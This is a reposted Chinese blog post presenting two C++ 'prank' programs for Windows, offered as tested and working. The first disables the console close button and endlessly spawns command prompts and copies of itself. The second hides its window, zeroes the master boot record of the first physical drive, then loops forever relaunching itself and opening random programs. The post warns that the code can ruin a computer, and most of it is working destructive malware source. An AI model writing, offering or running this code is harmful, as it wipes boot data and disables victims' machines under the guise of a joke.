整人小程序c++实现(附源码)
生活随笔
收集整理的這篇文章主要介紹了
整人小程序c++实现(附源码)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
兩個用c++實現的整人小程序,親測可用
切勿拿實體機試驗,<極易廢電腦>?
#include <iostream> #include <windows.h> using namespace std; int main() {SetConsoleTitle("整人小程序"); //將程序標題改為整人小程序 HWND hWnd; //設置一個窗口句柄 hWnd=FindWindow("ConsoleWindowClass",NULL); //獲取控制臺窗口 HMENU hMenu; //設置一個窗口菜單句柄 hMenu=GetSystemMenu(hWnd,false); //得到最小化、關閉等等的菜單,并賦值為falseEnableMenuItem(hMenu,SC_CLOSE,MF_BYCOMMAND|MF_GRAYED); //SC_CLOSE為關閉按鈕,后面兩個使得關閉按鈕變灰無法點擊MessageBox(NULL,"你已經無法關閉此窗口了!","提示",MB_OK|MB_ICONINFORMATION); //彈出窗口Sleep(1000);for(int i=0; ;i++)//也可以用while(1)代替,反正都是死循環 {system("start"); //打開命令提示符ShellExecute(0,"open","整人小程序.exe",0,0,1); //ShellExecute函數,open為打開,第三項為指定的程序 Sleep(50); //每次循環后休息0.05秒} } #include <windows.h> #include <cstdlib> #include <cstdio> int main() {NEXT_INQUIRY:HWND hWnd; //設置一個句柄hWnd=FindWindow("ConsoleWindowClass",NULL); //得到控制臺窗口句柄if(!hWnd){goto NEXT_INQUIRY; //返回NEXT_INQUIRY下的代碼繼續 }ShowWindow(hWnd,SW_HIDE); //將自己隱藏FILE *REMOVE_MBR=fopen("\\\\.\\PHYSICALDRIVE0","rb+"); //\\\\.\\PHYSICALDRIVE0為MBR文件,fopen打開,rb+意為打開一個二進制文件,只可讀寫數據 char MBR[512]; //將MBR的大小設置為512,因為MBR的三個主引導扇區的總大小為512 ZeroMemory(MBR,sizeof(MBR)); //初始化MBR的大小 fwrite(MBR,sizeof(MBR),1,REMOVE_MBR); //寫入一個新的MBR值(破壞MBR)CloseHandle(REMOVE_MBR); //關閉REMOVE_MBR句柄while(1) //死循環 {HWND windows=FindWindow("ConsoleWindowClass","整人小程序(加強版)"); //找到標題為 整人小程序(加強版) 的控制臺窗口 if(windows==NULL) //如果未找到 {ShellExecute(0,"open","整人小程序(加強版).exe",0,0,1); //打開 整人小程序(加強版)MessageBox(NULL,"你激怒我了!","憤怒",MB_OK|MB_ICONERROR); //彈出窗口 while(1) //死循環 {const char *application[]={"cmd.exe","calc.exe","explorer.exe","mspaint.exe","QQ.exe","cloudmiusic.exe","notepad.exe"}; //需要打開的程序 int stochastic=rand()%6; //設置一個隨機數,使其隨機輸出0~6的數 ShellExecute(0,"open",application[stochastic],0,0,1); //隨機打開上述文件的其中之一 Sleep(50); //每次循環后休息0.05秒 }} } }總結
以上是生活随笔為你收集整理的整人小程序c++实现(附源码)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 信息论与编码_学术动态 | “中大网络信
- 下一篇: php 递归中的全局变量,PHP递归函数